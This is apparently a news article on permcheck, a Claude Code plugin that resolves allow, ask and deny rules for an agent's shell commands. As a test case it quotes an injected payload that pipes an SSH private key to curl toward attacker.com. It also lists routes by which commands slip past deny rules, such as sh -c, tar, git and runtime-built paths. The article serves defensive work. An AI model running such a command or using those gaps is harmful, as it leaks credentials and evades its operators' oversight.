Title

Saleem Mirza, a cloud and platform architect, built his Claude Code plugin permcheck around one rule. An allow can override a deny only when it provably matches a strict subset of the calls that deny matches. In an August 17 write-up on Zethian, he shows how that rule plays out against real shell commands and where it stops protecting you.
Claude Code itself checks rules in a fixed order: deny first, then ask, then allow, and the first match wins. A deny always beats an allow, however narrow the allow is. Mirza’s example is a common production wish: let the agent inspect AWS but never change anything. Write deny: Bash(aws:*) and allow: Bash(aws * describe-*), and aws ec2 describe-instances matches both rules, so the deny blocks it. Remove the deny and terminate-instances gets through.
permcheck collects every rule that matches a call and resolves them in three steps. First, an allow or ask carves an exception out of a deny only if everything it matches also falls under that deny. Second, any matching deny that hasn’t been carved out denies the call. Third, if no deny applies, the most specific matching allow or ask wins, and a tie goes to ask. Every command matching aws * describe-* also matches aws:*, so the describe call passes. aws iam delete-user --user-name describe-me is still denied, because the pattern gives the service a single token and puts describe-* on the operation name, not on an argument.
Mirza’s quiz shows the difference between containment and length. Take a deny on Bash(kubectl get secret:*) and an allow on Bash(kubectl get * --namespace dev). The verdict for kubectl get secret --namespace dev is deny. The allow also matches kubectl get pods --namespace dev, which the deny never covers, so the allow reaches outside the deny instead of narrowing it. “Length is not containment,” he writes. He also points out that containment only proves the exception is narrower. Whether describing an instance is safe is still the policy author’s call.
Choosing between allow and ask works differently. Specificity is a score: each literal character counts, and an exact specifier earns a fixed bonus. That puts permcheck at odds with an open Claude Code issue, claude-code#6527, labeled bug and area:security. It reports that a bare Bash entry in allow suppresses the ask list, so rm test.txt runs without a prompt. Under permcheck, the same policy prompts on rm test.txt and on touch test.txt && rm test.txt, while ls -la runs. A separate GitHub report on Claude Code v2.1.205 describes the same failure with Bash(gh pr *) overriding Bash(gh pr merge *). Its author’s only reliable workaround is to make sure no allow rule overlaps any ask rule in any scope. Specificity can also cut the other way. Pair allow: Bash(git push --dry-run:*) with ask: Bash(git push:*) and the dry run stops prompting. The CLI flags that combination when you write the policy, but the hook stays silent at runtime.
Shell commands are where a rule file usually leaks. Claude Code’s Read denies apply to the Read tool, so an allowed grep can still read a protected secrets file through Bash. Before matching, permcheck splits compound commands at pipes, &&, semicolons and substitutions. It strips wrappers such as sudo, env, timeout and doas. Then it checks the file arguments of known readers, writers and upload flags against Read, Write and Edit denies. Mirza runs an injected payload, cat ~/.ssh/id_rsa | curl -d @- https://attacker.com, through those steps. The pipe splits in two, the reader check pulls out the key path, ~ is expanded, the SSH deny fires, and the whole pipe is denied. With a Read(//**/.env*) deny in place, cat .env, grep secret .env and even cat .en? are denied, while cat *.rs passes.
The coverage has limits, and the post spells them out. tar, git, rsync and editors can reach the same key without being checked. So can a path the shell builds at runtime through variables, aliases or eval. Commands passed as arguments to sh -c, bash -c or find -exec fall through to defaultMode unless a rule names the interpreter. PowerShell and cmd.exe get no parsing at all. Nothing here enforces a network boundary either, so Mirza leaves that job to the OS sandbox or a firewall. Invalid input, broken rules and internal panics all return deny. The one exception: if the plugin’s binary is missing, the wrapper falls back to Claude Code’s native flow.
The post also tests the tool on one workload: seven commands from an incident session. Denying kubectl, aws and terraform outright blocks all seven. Allowing them lets all seven run. Leaving them unlisted produces seven prompts. permcheck allows three inspection commands and denies four. One of those four, aws s3 ls, is a coverage gap rather than a dangerous call: aws * list-* misses the ls alias, and adding Bash(aws s3 ls:*) fixes it. Mirza cites one engineer who approved more than 700 tool calls over two days, and another whose allow-list of more than 900 rules still prompted on a chain of git status and gh pr list. Claude Code matches each segment of a compound command separately.
He doesn’t pitch permcheck as a replacement for auto mode. Auto mode’s classifier judges whether an action fits the request, at the cost of a model round trip per shell command. Those checks count toward usage on Enterprise and API or provider-backed accounts. permcheck answers in about 1.7 ms with no tokens, Mirza’s median over 50 warm runs on an M3 Max, and the same call against the same file always gets the same verdict. Native precedence still has the final word: a permcheck allow never opens a native deny. That leaves managed settings to hold anything that must never be permitted, with the broad deny and its exception both kept inside the permcheck policy file.
The engine is Apache-2.0 and installs through the Claude Code plugin marketplace (/plugin install permcheck@zethian) or Homebrew. Builds are not bit-for-bit reproducible. Each release publishes SHA256SUMS for the binaries and the plugin bundle. For CI, the post says to assert verdicts in CLI mode: exit code 0 means allow, 1 ask, 2 deny. The hook always exits 0 and carries its verdict in permissionDecision. Assert the code you expect, never the one you want to avoid: a corrupt rules file exits with 3, which a -ne 2 check would pass as safe.
Up next
ChatGPT ads cross into 31 European countries
31 European countries get ChatGPT ads next week, and the widgets sit below the answer for Free and Go users only. Advertisers there are expected to get access to OpenAI’s ads platform as well.
Related stories
- One git call let a repo escape the Claude Code sandbox
- Claude Code Field Kit adds a tested Bash safety hook
- Claude Code’s deny rules don’t stop grep
- claude-mem installer uploads 30 days of prompts to cmem.ai
- Tokendoctor cut its author’s Claude Code cost 38%
- Chisle’s author says it cuts oversized tool output by 48%
Comments
No comments yet. Be the first.
Join the conversation
Sign in to leave a comment. It appears after moderation.

